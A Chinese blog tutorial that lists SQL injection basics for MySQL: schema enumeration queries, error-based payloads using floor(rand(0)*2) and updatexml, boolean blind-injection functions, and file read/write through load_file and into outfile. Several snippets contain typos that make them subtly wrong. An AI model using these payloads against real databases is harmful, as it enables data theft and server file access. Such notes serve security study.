SQL注入基本知识及常用函数

基本知识

  1. 查库
select schema_name from information_schema.schemata;
  1. 查表
select table_name from information_schema.tables where table_schema='数据库名'
  1. 查列:
select column_name from information_schema.columns where table_name='表名'
  1. 查字段
select * from 表名.列名

常用查询函数

system_user()			// 显示系统用户
user()					// 目前登陆用户
session_user()			// 连接数据库的用户名
database()				// 当前数据库
version()				// 数据库版本信息
@@datadir				// 数据库路径
@@version_compile_os	// 当前操作系统版本

报错注入

count()			// 总个数
group by		// 分组
floor()			// 向下取整,去掉小数部分
rand()			// 0-1随机取数

// 当rang(0)时,传入floor()
floor(rang(0)*2)	// 序列0110110

**原理:**报错的时候会把数据库名爆出来

select count(*),(concat(floor(rand(0)*2),0x26,(select database())))x from users group by x;
// group by 查询时,先建立一个空表

upadtexml()
extractvalue()
updatexml(12,concat(0x7e,(database()),0x7e))
// 最大长度32位

布尔盲注

// left(a,b)从左截取a的前b位,正确则返回1,错误则返回0
left()			left(database(),1)='s'

// user的结果是root,regexp为匹配root的正则表达式
regexp			select user() regexp 'r'

// 匹配与regexp相似
like 			select user() like 'ro%'

if(condition,A,B)
// 如果condition为true,则执行语句A,否则执行B
// 例:select if(1>2,4,5)	返回的结果是5

// substr(a,b,c)从位置b开始,截取a字符串c位长度
// 匹配第一个字符是否是's'
substr(a,b,c)	select substr(select,1,1)='s' 

// 长度
length()

// 
benchmark()

// 将某个字符串转化为ascii值
ascii()

// 在python中
char(数字) = 字符
ord('字符') = 数字

文件读取


// 读取本地文件
load_file()
select load_file('文件路径')// 写文件
into outfile
select 'mysql is very good' into outlife 'test.txt'; 

注意:报错时应使用://
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值